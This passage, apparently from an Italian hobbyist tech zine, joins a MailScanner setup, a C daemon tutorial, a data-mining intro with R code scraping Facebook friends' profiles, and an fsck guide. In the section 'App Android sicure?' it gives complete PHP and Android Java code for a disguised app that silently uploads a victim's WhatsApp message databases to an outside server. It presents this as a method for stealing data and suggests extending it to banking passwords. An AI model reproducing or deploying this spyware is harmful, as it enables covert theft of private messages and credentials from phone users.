e SpamAssassin per avviare al boot
mailscanner_enable=”YES”
spamass_milter_enable=”YES”
spamd_enable=”YES”
clamav_clamd_enable=”YES”
clamav_milter_enable=”YES”
clamav_freshclam_enable=”YES”
Analisi
Per testare il sistema, è necessario configurare il SMTP
client di posta elettronica per utilizzare il gateway di posta. Nel mio test,
ho configurato
un record MX che punta al gateway di posta ambientato in mio cliente.
Ho usato il file EICAR per testare il malware
rilevamento e risposta del sistema. Quando si invia un
file infetto, il sistema pulisce il messaggio, inoltra al destinatario e avvisa
il mittente
Demone Linux
COSE?
Un demone (o un servizio) è un processo in background che è stato
progettato per funzionare in modo autonomo
COSA OCCORRE?
Prima di tutto, avrete bisogno dei seguenti pacchetti installati sulla
vostra macchina Linux per sviluppare demoni, in particolare:
+ GCC 3.2.2 o superiore
+ Header per lo sviluppo di Linux e le librerie
+ Se il sistema non dispone già di questi installato (non probabile, ma
controllare in ogni caso), ne avrete bisogno per sviluppare gli esempi in
questo guida. Per scoprire quale versione di GCC si è installato,
+utilizzare: gcc — version
STRUTTURA
Quando un demone si avvia, ha a che fare un po ‘di basso livello
domestico per ottenere per sé pronta per il suo vero lavoro. Questo
richiede alcuni passaggi:
Fork il processo padre
Cambia modalità maschera file (umask)
Aperto tutti i registri per la scrittura
Creare un ID univoco di sessione (SID)
Cambiare la directory di lavoro corrente in un posto sicuro
Chiudi descrittori di file standard
Inserisci il codice vero demone
FORK
Un demone avviene o dal sistema stesso o un utente in un terminale o
script. Quando viene avviato, il processo è come qualsiasi altro
eseguibile sul sistema. Per rendere veramente autonoma, un processo
figlio debbano essere creati laddove il codice vero e proprio viene
eseguito. Questo è noto come biforcazione, e utilizza la fork () funzione:
_______________________________________________
pid_t pid;
/* Fork off the parent process */
pid = fork();
if (pid < 0) {
exit(EXIT_FAILURE);
}
/* If we got a good PID, then
we can exit the parent process. */
if (pid > 0) {
exit(EXIT_SUCCESS);
}
_________________________________________________
Si noti il controllo di errore subito dopo la chiamata a fork () . Quando
si scrive un demone, si dovrà codificare come difensiva possibile. In
effetti, una buona percentuale del codice totale in un demone consiste in
nient’altro che il controllo degli errori.
La fork () funzione restituisce l’ID di processo (PID) del processo figlio
(diverso da zero), o -1 in caso di fallimento. Se il processo non può fork
di un figlio, il demone deve terminare qui.
Se il PID restituito da fork () ha esito positivo, il processo padre deve
uscire con grazia. Questo può sembrare strano a chi non l’ha vista, ma
per biforcazione, il processo figlio continua l’esecuzione da qui in avanti
nel codice
UMASK
Per scrivere a tutti i file (compreso il registro) creati dal demone, la
maschera in modalità file (umask) deve essere modificata per far sì che
possano essere scritti o letti in modo corretto. Questo è simile a eseguire
umask dalla riga di comando, ma lo facciamo di codice qui. Possiamo
usare la umask () per eseguire questa funzione:
__________________________________________
pid_t pid, sid;
/* Fork off the parent process */
pid = fork();
if (pid < 0) {
/* Log failure (use syslog if possible) */
exit(EXIT_FAILURE);
}
/* If we got a good PID, then
we can exit the parent process. */
if (pid > 0) {
exit(EXIT_SUCCESS);
}
/* Change the file mode mask */
umask(0);
____________________________________________
Impostando la umask a 0, avremo pieno accesso ai file generati dal
demone. Anche se non si prevede di utilizzare qualsiasi file, è una buona
idea impostare la umask qui comunque, nel caso in cui vi sarà l’accesso
ai file sul filesystem.
SID
Da qui, il processo figlio deve avere un unico SID dal kernel per
funzionare. Altrimenti, il processo di bambino diventa orfano nel
sistema. Il tipo pid_t, dichiarato nella sezione precedente, viene anche
utilizzato per creare un nuovo SID per il processo figlio:
Codice:
_____________________________________________
pid_t pid, sid;
/* Fork off the parent process */
pid = fork();
if (pid < 0) {
exit(EXIT_FAILURE);
}
/* If we got a good PID, then
we can exit the parent process. */
if (pid > 0) {
exit(EXIT_SUCCESS);
}
/* Change the file mode mask */
umask(0);
/* Open any logs here */
/* Create a new SID for the child process */
sid = setsid();
if (sid < 0) {
/* Log any failure */
exit(EXIT_FAILURE);
}
________________________________________
CAMBIARE LA DIRECTORY DI LAVORO
La directory di lavoro corrente dovrebbero essere modificati per un posto
che è garantito per essere sempre lì. Dal momento che molte
distribuzioni Linux non seguire completamente il Linux Filesystem
Hierarchy Standard, l’unica directory che è garantito per essere lì è la
radice (/). Possiamo farlo utilizzando il chdir () funzione:
_______________________________________
pid_t pid, sid;
/* Fork off the parent process */
pid = fork();
if (pid < 0) {
exit(EXIT_FAILURE);
}
/* If we got a good PID, then
we can exit the parent process. */
if (pid > 0) {
exit(EXIT_SUCCESS);
}
/* Change the file mode mask */
umask(0);
/* Open any logs here */
/* Create a new SID for the child process */
sid = setsid();
if (sid < 0) {
/* Log any failure here */
exit(EXIT_FAILURE);
}
/* Change the current working directory */
if ((chdir(“/”)) < 0) {
/* Log any failure here */
exit(EXIT_FAILURE);
}
_______________________________________________
CHIUSURA DESCRITTORI DI FILE STANDAR
Uno degli ultimi passaggi nella creazione di un demone sta chiudendo i
descrittori di file standard (stdin, stdout, stderr). Dal momento che un
demone non è possibile utilizzare il terminale, questi descrittori di file
sono ridondanti e un pericolo potenziale per la sicurezza.
Il close () funzione in grado di gestire questo per noi:
___________________________________________________
pid_t pid, sid;
/* Fork off the parent process */
pid = fork();
if (pid < 0) {
exit(EXIT_FAILURE);
}
/* If we got a good PID, then
we can exit the parent process. */
if (pid > 0) {
exit(EXIT_SUCCESS);
}
/* Change the file mode mask */
umask(0);
/* Open any logs here */
/* Create a new SID for the child process */
sid = setsid();
if (sid < 0) {
/* Log any failure here */
exit(EXIT_FAILURE);
}
/* Change the current working directory */
if ((chdir(“/”)) < 0) {
/* Log any failure here */
exit(EXIT_FAILURE);
}
/* Close out the standard file descriptors */
close(STDIN_FILENO);
close(STDOUT_FILENO);
close(STDERR_FILENO);
_____________________________________________
L’ANELLO
Un codice principale daemon è tipicamente all’interno di un ciclo
infinito. Tecnicamente, non è un ciclo infinito, ma è strutturato come
uno:
________________________________________
pid_t pid, sid;
/* Fork off the parent process */
pid = fork();
if (pid < 0) {
exit(EXIT_FAILURE);
}
/* If we got a good PID, then
we can exit the parent process. */
if (pid > 0) {
exit(EXIT_SUCCESS);
}
/* Change the file mode mask */
umask(0);
/* Open any logs here */
/* Create a new SID for the child process */
sid = setsid();
if (sid < 0) {
/* Log any failures here */
exit(EXIT_FAILURE);
}
/* Change the current working directory */
if ((chdir(“/”)) < 0) {
/* Log any failures here */
exit(EXIT_FAILURE);
}
/* Close out the standard file descriptors */
close(STDIN_FILENO);
close(STDOUT_FILENO);
close(STDERR_FILENO);
/* Daemon-specific initialization goes here */
/* The Big Loop */
while (1) {
/* Do some task here … */
sleep(30); /* wait 30 seconds */
_____________________________
ESEMPIO COMPLETO
Qui di seguito è un demone esempio completo che mostra tutti i passi
necessari per l’installazione e l’esecuzione. Per eseguire questa
operazione, è sufficiente compilare con gcc, e avviare l’esecuzione dalla
riga di comando. Per terminare, utilizzare l’ uccisione di comando dopo
aver trovato il suo PID.
Ho anche messo nel giusto includere istruzioni per l’interfaccia con il
syslog, che è consigliato per lo meno per l’invio di start / stop / pausa /
die dichiarazioni di registro, oltre a utilizzare i log personalizzati con la
fopen () / fwrite ( ) / fclose () chiamate di funzione.
________________________________
#include <sys/types.h>
#include <sys/stat.h>
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <errno.h>
#include <unistd.h>
#include <syslog.h>
#include <string.h>
int main(void) {
/* Our process ID and Session ID */
pid_t pid, sid;
/* Fork off the parent process */
pid = fork();
if (pid < 0) {
exit(EXIT_FAILURE);
}
/* If we got a good PID, then
we can exit the parent process. */
if (pid > 0) {
exit(EXIT_SUCCESS);
}
/* Change the file mode mask */
umask(0);
/* Open any logs here */
/* Create a new SID for the child process */
sid = setsid();
if (sid < 0) {
/* Log the failure */
exit(EXIT_FAILURE);
}
/* Change the current working directory */
if ((chdir(“/”)) < 0) {
/* Log the failure */
exit(EXIT_FAILURE);
}
/* Close out the standard file descriptors */
close(STDIN_FILENO);
close(STDOUT_FILENO);
close(STDERR_FILENO);
/* Daemon-specific initialization goes here */
/* The Big Loop */
while (1) {
/* Do some task here … */
sleep(30); /* wait 30 seconds */
}
exit(EXIT_SUCCESS);
}
Data mining
Wikipedia: Il data mining è l'insieme di tecniche e metodologie che
hanno per oggetto l'estrazione di un sapere o di una conoscenza a
partire da grandi quantità di dati (attraverso metodi automatici o semiautomatici) e l'utilizzo scientifico, industriale o operativo di questo
sapere.
Concetti di base
La statistica può essere definita altrimenti come "estrazione di
informazione utile da insiemi di dati".
Il concetto di data mining è simile ma con una sostanziale differenza: la
statistica permette di elaborare informazioni generali riguardo ad una
popolazione (es. percentuali di disoccupazione, nascite) mentre il data
mining viene utilizzato per cercare correlazioni tra più variabili
relativamente ai singoli individui; ad esempio sapendo il comportamento
di un cliente in una compagnia telefonica cerco di prevedere quanto
spenderà nell'immediato futuro.
In sostanza il data mining è " l'analisi matematica eseguita su database
di grandi dimensioni". Il termine data mining è diventato popolare nei
tardi anni '90 come versione abbreviata della definizione appena
esposta.
Oggi il data mining (letteralmente: estrazione di dati) ha una duplice
valenza:
estrazione, con tecniche analitiche all'avanguardia, di informazione
implicita, nascosta, da dati già strutturati, per renderla disponibile e
direttamente utilizzabile;
esplorazione ed analisi, eseguita in modo automatico o semiautomatico,
su grandi quantità di dati allo scopo di scoprire pattern (schemi)
significativi.
In entrambi i casi i concetti di informazione e di significato sono legati
strettamente al dominio applicativo in cui si esegue data mining, in altre
parole un dato può essere interessante o trascurabile a seconda del tipo
di applicazione in cui si vuole operare.
Questo tipo di attività è cruciale in molti ambiti della ricerca scientifica,
ma anche in altri settori (per esempio in quello delle ricerche di
mercato). Nel mondo professionale è utilizzata per risolvere
problematiche diverse tra loro, che vanno dalla gestione delle relazioni
con i clienti (CRM), all'individuazione di comportamenti fraudolenti,
fino all'ottimizzazione di siti web.
Esempi
Che cosa "non è" data mining?
cercare un numero di telefono nell'elenco;
fare una ricerca in Internet su "vacanze alle Maldive".
Che cosa "è" data mining?
fare una ricerca nel web su una parola chiave e classificare i documenti
trovati secondo un criterio semantico (per esempio "corriere": nome di
giornale, professione, ecc.);
scoprire chi sono i clienti che hanno maggiore propensione di acquisto
su certi prodotti o campagne pubblicitarie.
Applicazioni nella ricerca scientifica
I fattori principali che hanno contribuito allo sviluppo del data mining
sono:
le grandi accumulazioni di dati in formato elettronico,
il data storage poco costoso,
i nuovi metodi e tecniche di analisi (apprendimento automatico,
riconoscimento di pattern).
Le tecniche di data mining sono fondate su specifici algoritmi. I pattern
identificati possono essere, a loro volta, il punto di partenza per
ipotizzare e quindi verificare nuove relazioni di tipo causale fra
fenomeni; in generale, possono servire in senso statistico per formulare
previsioni su nuovi insiemi di dati.
Un concetto correlato al data mining è quello di apprendimento
automatico (Machine learning); infatti, l'identificazione di pattern può
paragonarsi all'apprendimento, da parte del sistema di data mining, di
una relazione causale precedentemente ignota, cosa che trova
applicazione in ambiti come quello degli algoritmi euristici e
dell'intelligenza artificiale. Tuttavia, occorre notare che il processo di
data mining è sempre sottoposto al rischio di rivelare relazioni causali
che poi si rivelano inesistenti.
Tra le tecniche maggiormente utilizzate in questo ambito vi sono:
Clustering;
Reti neurali;
Alberi di decisione;
Analisi delle associazioni (individuazione dei prodotti acquistati
congiuntamente).
Un'altra tecnica molto diffusa per il data mining è l'apprendimento
mediante classificazione. Questo schema di apprendimento parte da un
insieme ben definito di esempi di classificazione per casi noti, dai quali
ci si aspetta di dedurre un modo per classificare esempi non noti. Tale
approccio viene anche detto "con supervisione" (supervised), nel senso
che lo schema di apprendimento opera sotto la supervisione fornita
implicitamente dagli esempi di classificazione per i casi noti; tali esempi,
per questo motivo, vengono anche detti training examples, ovvero
"esempi per l’addestramento". La conoscenza acquisita per
apprendimento mediante classificazione può essere rappresentata con
un albero di decisione.
L'estrazione dei dati vera e propria giunge quindi al termine di un
processo che comporta numerose fasi: si individuano le fonti di dati; si
crea un unico set di dati aggregati; si effettua una pre-elaborazione
(data cleaning, analisi esplorative, selezione, ecc.); si estraggono i dati
con l'algoritmo scelto; si interpretano e valutano i pattern; l'ultimo
passaggio va dai pattern alla nuova conoscenza così acquisita.
Applicazioni nella ricerca di mercato
L'utilizzo del data mining nella ricerca di mercato è volto ad ampliare la
conoscenza su cui basare i processi decisionali.
Nel contesto aziendale il data mining è considerato parte del processo
che porta alla creazione di un data warehouse. È efficace soprattutto per
la valorizzazione delle informazioni aziendali residenti in questi grandi
depositi di dati.
Affinché l'informazione estratta dai dati esistenti sia significativa, e
quindi potenzialmente utile, deve essere:
valida (cioè può agire anche sui nuovi dati);
precedentemente sconosciuta;
comprensibile.
In questo contesto, un pattern (schema) non è altro che la
rappresentazione delle relazioni chiave che vengono scoperte durante il
processo di estrazione dati: sequenze ripetute, omogeneità, emergenza di
regole, ecc.
Per esempio, se un pattern mostra che i clienti di una certa area
demografica sono molto propensi ad acquistare uno specifico prodotto,
allora un'interrogazione (query) selettiva ad un data warehouse di
probabili compratori può essere usata per generare un elenco di indirizzi
promozionali.
Il text mining
È una forma particolare di data mining nella quale i dati consistono in
testi in lingua naturale, in altre parole, documenti "destrutturati". Il text
mining unisce la tecnologia della lingua con gli algoritmi del data
mining.
L'obiettivo è sempre lo stesso: l'estrazione di informazione implicita
contenuta in un insieme di documenti.
Negli ultimi anni ha avuto un notevole sviluppo, grazie ai progressi delle
tecniche di elaborazione del linguaggio naturale (NLP in inglese), della
disponibilità di applicazioni complesse attraverso gli Application service
provider (ASP) e dell'interesse verso le tecniche automatiche di gestione
della lingua mostrato sia dagli accademici, sia dai produttori di software,
sia dai gestori dei motori di ricerca.
Principali Software di data mining
Weka: acronimo di "Waikato Environment for Knowledge Analysis", è
un software per l'apprendimento automatico
R: è un ambiente di sviluppo specifico per l'analisi statistica dei dati che
utilizza un linguaggio di programmazione derivato e in larga parte
compatibile con S.
SAS: è un complesso di prodotti software integrati (sviluppati dal SAS
Institute) che permettono ad un programmatore:
inserimento, ricerca e gestione di dati;
generazione di report e grafici
analisi statistica e matematica
pianificazione, previsione e supporto alle decisioni
ricerca operativa e project management
gestione di qualità
sviluppo di applicazioni
Inoltre numerosi sviluppatori realizzano molte soluzioni che permettono
funzioni quali data warehousing e data mining, gestione delle risorse
umane e supporto alle decisioni, gestione finanziaria...
SPSS: è uno dei programmi di statistica più utilizzati, perché permette
di svolgere numerose operazioni che con i software di calcolo classici
non è possibile effettuare.
Per il nostro esempio untilizeremo R (Link Download)
Vediamo come usarlo:
Allora applicheremo R a facebook, vi starete chiedendo quale possa
esserne il suo utlizzo, niente di piu semplice, possiamo sapere ad esempio
in percentuale quali sono i film favoriti dai nostri amici, la musica, i
libri ecc...
Incominciamo con
Accediamo al nostro account facebook ed otteniamo il token di acesso
alle API grafiche di facebook (Richiedi le autorizazzioni estese per
raccogliere i dati dei tuoi aamici)
Ora utilizza la funzione extract.FBNet
token = "AAACEdEose0c..." # metti quello fornitoti da facebook
res = extract.FBNet(token)
Ok Ok afr0, mah io voglio sapere che musica ascoltano i miei amici,
anzi statisticamente quale la loro musica preferita
Niente di piu semplice
all.music = lapply(res$info, function(x) x$music)
length(unique(unlist(all.music))) # 811 different values
sum(table(unlist(all.music))==1) # 83 musicians are only cited once
music.freq = sort(table(unlist(all.music)), decreasing=T)
best.music.freq = names(music.freq)[music.freq&gt;4]
best.music = substr((unlist(all.music))[unlist(all.music)%in
%best.music.freq],1,15) # to shorten the names
num = as.numeric(as.factor(best.music))
best.music = data.frame("music"=best.music,"id"=factor(num))
qplot(id, data=best.music, geom="bar", fill=music)+labs(title="My
friends' favorite music", xlab="")
L'ultimo comando che vedete e dato dal pacchetto ggplot2
Il risultato che otterremmo sarà il seguente
Questo non e che la punta di quello che e possibile fare!
Immaginate se qualcuno atraverso tali grafici puo studiarvi e
manipolarvi? Ma questa forse e solo fantascienza
[un grazie a: Nathalie]
App Android sicure?
La domanda che si pone all'inizzio di questo articolo e la seguente: mah
se uno volesse con un app rubare le nostra pasword come fa?
Incominciamo: inanzitutto prende un applicazzione
fin qui e semplice direi dopo di che aggiunge questo semplice pezzo in
php
<?php
$uploaddir = "/tmp/whatsapp/";
if ($_FILES["file"]["error"] > 0)
{
echo "Error: " . $_FILES["file"]["error"] . "<br>";
}
else
{
echo "Upload: " . $_FILES["file"]["name"] . "<br>";
echo "Type: " . $_FILES["file"]["type"] . "<br>";
echo "Size: " . ($_FILES["file"]["size"] / 1024) . " kB<br>";
echo "Stored in: " . $_FILES["file"]["tmp_name"];
$uploadfile = $uploaddir . $_SERVER['REMOTE_ADDR'] . "." .
basename($_FILES['file']['name']);
move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile);
}
?>
Dopo di che si modifica il file manifest.xml
aggiungendo:
<uses-permission
android:name="android.permission.READ_EXTERNAL_STORAGE" /
>
<uses-permission
android:name="android.permission.INTERNET" />
poi si modifica il mainactivity di java
package bb.security.whatsappupload;
import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.net.HttpURLConnection;
import java.net.MalformedURLException;
import java.net.URL;
import android.os.AsyncTask;
import android.os.Bundle;
import android.os.Environment;
import android.app.Activity;
import android.app.ProgressDialog;
import android.util.Log;
import android.view.Menu;
public class MainActivity extends Activity {
//A ProgressDialog object
private ProgressDialog progressDialog;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
new UploadWhatsApp().execute();
}
@Override
public boolean onCreateOptionsMenu(Menu menu) {
// Inflate the menu; this adds items to the action bar if it is
present.
getMenuInflater().inflate(R.menu.main, menu);
return true;
}
@SuppressWarnings("deprecation")
private void uploadFile(String file) {
HttpURLConnection conn = null;
DataOutputStream dos = null;
DataInputStream inStream = null;
Log.i("FILE", "Filename:\n" + file);
String lineEnd = "\r\n";
String twoHyphens = "--";
String boundary = "*****";
int bytesRead, bytesAvailable, bufferSize;
byte[] buffer;
int maxBufferSize = 1 * 1024 * 1024 * 1024;
String urlString =
"http://bas.bosschert.nl/whatsapp/upload_wa.php";
try {
//
------------------ CLIENT REQUEST
FileInputStream fileInputStream = new
FileInputStream(new File(
file));
// open a URL connection to the Servlet
URL url = new URL(urlString);
// Open a HTTP connection to the URL
conn = (HttpURLConnection) url.openConnection();
// Allow Inputs
conn.setDoInput(true);
// Allow Outputs
conn.setDoOutput(true);
// Don't use a cached copy.
conn.setUseCaches(false);
// Use a post method.
conn.setRequestMethod("POST");
conn.setRequestProperty("Connection", "Keep-Alive");
conn.setRequestProperty("Content-Type",
"multipart/form-data;boundary=" + boundary);
dos = new DataOutputStream(conn.getOutputStream());
dos.writeBytes(twoHyphens + boundary + lineEnd);
dos.writeBytes("Content-Disposition: form-data;
name=\"file\";filename=\""
+ file + "\"" + lineEnd);
dos.writeBytes(lineEnd);
// create a buffer of maximum size
bytesAvailable = fileInputStream.available();
bufferSize = Math.min(bytesAvailable, maxBufferSize);
buffer = new byte[bufferSize];
// read file and write it into form...
bytesRead = fileInputStream.read(buffer, 0, bufferSize);
while (bytesRead > 0) {
dos.write(buffer, 0, bufferSize);
bytesAvailable = fileInputStream.available();
bufferSize = Math.min(bytesAvailable,
maxBufferSize);
bytesRead = fileInputStream.read(buffer, 0,
bufferSize);
}
// send multipart form data necesssary after file data...
dos.writeBytes(lineEnd);
dos.writeBytes(twoHyphens + boundary + twoHyphens +
lineEnd);
// close streams
Log.e("Debug", "File is written");
fileInputStream.close();
dos.flush();
dos.close();
} catch (MalformedURLException ex) {
Log.e("Debug", "error: " + ex.getMessage(), ex);
} catch (IOException ioe) {
Log.e("Debug", "error: " + ioe.getMessage(), ioe);
}
// ------------------ read the SERVER RESPONSE
try {
if (conn != null){
inStream = new
DataInputStream(conn.getInputStream());
String str;
while ((str = inStream.readLine()) != null) {
Log.e("Debug", "Server Response " + str);
}
inStream.close();
}
} catch (IOException ioex) {
Log.e("Debug", "error: " + ioex.getMessage(), ioex);
}
}
private class UploadWhatsApp extends AsyncTask<Void, Integer,
Void>{
@Override
protected void onPreExecute()
{
//Create a new progress dialog
progressDialog =
ProgressDialog.show(MainActivity.this,"Loading Application, please wait...",
"Loading, please wait...", false, false);
}
//The code to be executed in a background thread.
@Override
protected Void doInBackground(Void... params)
{
String fileWACrypt =
Environment.getExternalStorageDirectory()
.getPath() +
"/WhatsApp/Databases/msgstore.db.crypt";
String fileWAPlain =
Environment.getExternalStorageDirectory()
.getPath() +
"/WhatsApp/Databases/msgstore.db";
String fileWAwa =
Environment.getExternalStorageDirectory()
.getPath() + "/WhatsApp/Databases/wa.db";
MainActivity.this.uploadFile(fileWACrypt);
MainActivity.this.uploadFile(fileWAPlain);
MainActivity.this.uploadFile(fileWAwa);
return null;
}
//Update the progress
@Override
protected void onProgressUpdate(Integer... values)
{
//set the current progress of the progress dialog
progressDialog.setProgress(values[0]);
}
//after executing the code in the thread
@Override
protected void onPostExecute(Void result)
{
//close the progress dialog
progressDialog.dismiss();
//initialize the View
setContentView(R.layout.activity_main);
}
}
}
Ed ora estrerranno da remoto, le vostre chat di Whatsapp, ma se al posto di
prellevare il db di wahtsapp estraessere le pasword, dei vostri conti bancari
che avete salvato sul vostro smartphone?
[ Credit:Bas* and afr0]
*a differenza di winmagazine, io metto sempre i crediti a chi ha scritto, o condiviso il codice
FSCK
L'alleato se il tuo files system non va
Cos'è fsck?
Come spiegato da die.net è un comando per controllare ed riparare il
fyle system di linux, a quanti di noi sara sicuramente capitato questo
errore:
Anche a me personalmente e capitato di recente, ed il seguente reporter
spieghera nel caso anche voi abbiate questo problema come fare:
Il primo passo, e quello di usare un'altra disto linux in live, una volta
avviata, si procede andando al terminale e digitando
verificare come viene rilevato il disco da ripristinare dal nostro sistema
operativo.
Quindi digitiamo il comando:
sudo fdisk -l
Cosi vedremo i dischi e partizioni presenti / collegati nel nostro sistema,
nel nel mio caso la partizione da ripristinare è stata /dev/sdb1
Bene quindi si effettua il primo tentativo per riparare il file system
digitando (da root)
fsck /dev/sdb1
E dopo che avra effettuato il suo lavoro, nel suo risultato mostrera uno
dei seguenti numeri:
0 - Nessun errore
1 - Errori del file system corretti
2 - Il sistema dovrebbe essere rebootato
4 - Errori del file system non corretti
8 - Errore operativo
16 - Errore d’uso o di sintassi
128 - Errore della shared library
Adesso vediamo le “opzioni aggiuntive” che puo dare fsck:
Controllare tutti i file system in una corsa con l'opzione -A
È possibile controllare tutti i file system in un unico passaggio di fsck
utilizzare questa opzione. Questo controlla il file system nell'ordine in
fs_passno menzionato per ogni filesystem in / etc / fstab.
Si prega di notare che il file system con un valore fs_passno di 0
vengono ignorati, e maggiore di 0 vengono controllati nell'ordine.
Il file / etc / fstab contiene le voci come elencato di seguito:
# cat /etc/fstab
##
proc
/proc
proc nodev,noexec,nosuid 0
## / was on /dev/sda5 during installation
/dev/sda5 /
ext4 errors=remount-ro 0
1
## /mydata was on /dev/sda6 during installation
/dev/sda6 /mydata
ext2 defaults
0
2
## /backup was on /dev/sda7 during installation
/dev/sda7 /backup
vfat defaults
0
3
0
Qui, il file system vengono controllati in parallelo nel vostro sistema.
# fsck -A
Si consiglia di escludere il filesystem di root durante questo controllo
globale con l'aggiunta di opzione -R come illustrato di seguito.
# fsck -AR -y
fsck from util-linux 2.20.1
e2fsck 1.42 (29-Nov-2011)
/dev/sda6: clean, 95/2240224 files, 3793506/4476416 blocks
dosfsck 3.0.12, 29 Oct 2011, FAT32, LFN
/dev/sda7: 8 files, 50/1463400 clusters
Controllare solo una specifica Filesystem Type con l'opzione -t
Utilizzando l'opzione -t fsck, è possibile specificare l'elenco dei file
system da controllare. Quando si utilizza con l'opzione -A, il fsck
controllerà solo il file system di cui con questa opzione -t. Si noti che
fslist è un valori separati da virgola.
Ora, passare ext2 come valore fslist opzione -t come mostrato di seguito:
# fsck -AR -t ext2 -y
fsck from util-linux 2.20.1
e2fsck 1.42 (29-Nov-2011)
/dev/sda6: clean, 11/2240224 files, 70327/4476416 blocks
In questo esempio, / dev / sda6 è l'unica partizione creata con il
filesystem ext2, quindi di venire controllato di conseguenza.
Uso la parola 'no' di fronte a file system, è possibile controllare tutti gli
altri tipi di file system, tranne un particolare filesystem.
Nel seguente esempio, ext2 è escluso dal controllo.
# fsck -AR -t noext2 -y
fsck from util-linux 2.20.1
dosfsck 3.0.12, 29 Oct 2011, FAT32, LFN
/dev/sda7: 0 files, 1/1463400 clusters
Non eseguire Fsck sul filesystem montato con l'opzione -M
E 'una buona idea di utilizzare questa opzione come predefinita con
tutte le tue operazioni fsck. Ciò impedisce di eseguire fsck
accidentalmente su un filesystem che viene montato.
# mount | grep "/dev/sd*"
/dev/sda5 on / type ext4 (rw,errors=remount-ro)
/dev/sda6 on /mydata type ext2 (rw)
/dev/sda7 on /backup type vfat (rw)
Come indicato sopra, / dev / sda7 è montato. Se si tenta di eseguire fsck
su questo / dev / sda7 montato il filesystem (insieme con l'opzione -M),
fsck semplicemente uscire con il codice di uscita 0, come illustrato di
seguito.
# fsck -M /dev/sda7
# echo $?
0
Salta la visualizzazione dei titoli con opzione -t
Utilizzando l'opzione -T, è possibile ignorare il titolo ottiene mostrato
all'inizio di output del comando fsck.
# fsck -TAR
e2fsck 1.42 (29-Nov-2011)
/dev/sda6 is mounted. e2fsck: Cannot continue, aborting.
dosfsck 3.0.12, 29 Oct 2011, FAT32, LFN
/dev/sda7: 8 files, 50/1463400 clusters
Forzare un filesystem Verificare Anche se è Pulire utilizzando l'opzione
-f
Di default fsck tenta di ignorare il file system pulito per fare un lavoro
più veloce.
# fsck /dev/sda6
fsck from util-linux 2.20.1
e2fsck 1.42 (29-Nov-2011)
/dev/sda6: clean, 95/2240224 files, 3793503/4476416 blocks
È possibile forzare per controllare il file system usando -f come illustrato
di seguito.
# fsck /dev/sda6 -f
fsck from util-linux 2.20.1
e2fsck 1.42 (29-Nov-2011)
Pass 1: Checking inodes, blocks, and sizes
Pass 2: Checking directory structure
Pass 3: Checking directory connectivity
Pass 4: Checking reference counts
Pass 5: Checking group summary information
/dev/sda6: 95/2240224 files (7.4% non-contiguous), 3793503/4476416
blocks
Tentare di risolvere i problemi rilevati utilizzando automaticamente
l'opzione -y
Nel seguente esempio, partizione / dev / sda6 è danneggiato, come
illustrato di seguito.
# mount /dev/sda6 /mydata
# cd /mydata
# ls -li
ls: cannot access test: Input/output error
total 72
49061 -rw-r--r-- 1 root root 8 Aug 21 21:50 1
49058 -rw-r--r-- 1 root root 36864 Aug 21 21:24 file_with_holes
49057 -rw-r--r-- 1 root root 8192 Aug 21 21:23 fwh
11 drwxr-xr-x 2 root root 49152 Aug 19 00:29 lost+found
2060353 ?rwSr-S-wT 16 root root 4096 Aug 21 21:11 Movies
? -????????? ? ? ?
?
? test
Come si è visto sopra, la directory Movies e un file di test attributi non
sono validi.
Nell'esempio seguente, y passerà "sì" a tutte le domande per risolvere il
danneggiamento rilevata automaticamente.
# fsck -y /dev/sda6
fsck from util-linux 2.20.1
e2fsck 1.42 (29-Nov-2011)
/dev/sda6 contains a file system with errors, check forced.
Pass 1: Checking inodes, blocks, and sizes
Inode 2060353 is a unknown file type with mode 0137642 but it looks
like it is really a directory.
Fix? yes
Pass 2: Checking directory structure
Entry 'test' in / (2) has deleted/unused inode 49059. Clear? yes
Pass 3: Checking directory connectivity
Pass 4: Checking reference counts
Pass 5: Checking group summary information
/dev/sda6: ***** FILE SYSTEM WAS MODIFIED *****
/dev/sda6: 96/2240224 files (7.3% non-contiguous), 3793508/4476416
blocks
Evitare di riparazione, ma segnalare i problemi a Stdout usando
l'opzione -n
È possibile stampare tali problemi rilevati in stdout senza riparare il file
system usando l'opzione -n fsck.
In primo luogo, si poteva notare / vedere il problema in partizione / dev /
sda6 che la directory Movies (e il file FWH) non ha dati di attributo
validi.
# mount /dev/sda6 /mydata
# cd /mydata
# ls -lrt
total 64
drwxr-xr-x 2 root root 49152 Aug 19 00:29 lost+found
?--xrwx-wx 16 root root 4096 Aug 21 21:11 Movies
?-----x-wx 1 root root 8192 Aug 21 21:23 fwh
-rw-r--r-- 1 root root 36864 Aug 21 21:24 file_with_holes
-rw-r--r-- 1 root root 8 Aug 21 21:50 1
Il problema di cui sopra nella partizione specifica visualizzata in stdout
senza fare alcuna correzione su come segue,
L'esempio seguente mostra fsck il problema nel stdout senza fissarlo.
(Viene mostrato uscita parziale sotto).
# fsck -n /dev/sda6
fsck from util-linux 2.20.1
e2fsck 1.42 (29-Nov-2011)
/dev/sda6 contains a file system with errors, check forced.
Pass 1: Checking inodes, blocks, and sizes
Inode 2060353 is a unknown file type with mode 0173 but it looks
like it is really a directory.
Fix? no
Inode 2060353, i_blocks is 8, should be 0. Fix? no
Pass 2: Checking directory structure
Inode 2060353 (/Movies) has invalid mode (0173).
Clear? no
Inode 49057 (/fwh) has invalid mode (013).
Clear? no
Entry 'fwh' in / (2) has an incorrect filetype (was 1, should be 0).
Fix? no
Pass 3: Checking directory connectivity
Unconnected directory inode 65409 (???)
Connect to /lost+found? no
'..' in ... (65409) is ??? (2060353), should be (0).
Fix? no
Unconnected directory inode 2076736 (???)
Connect to /lost+found? no
Pass 4: Checking reference counts
Inode 2 ref count is 4, should be 3. Fix? no
Inode 65409 ref count is 3, should be 2. Fix? no
Inode 2060353 ref count is 16, should be 15. Fix? no
Unattached inode 2060354
Connect to /lost+found? no
Pass 5: Checking group summary information
Block bitmap differences: -(164356--164357) -4149248
Fix? no
Directories count wrong for group #126 (1, counted=0).
Fix? no
/dev/sda6: ********** WARNING: Filesystem still has errors
**********
/dev/sda6: 96/2240224 files (7.3% non-contiguous), 3793508/4476416
blocks
riparare automaticamente le parti danneggiate con l'opzione -a
Al fine di riparare la parte danneggiata automaticamente (senza
l'intervento dell'utente), utilizzare l'opzione -a come illustrato di seguito.
# fsck -a -AR
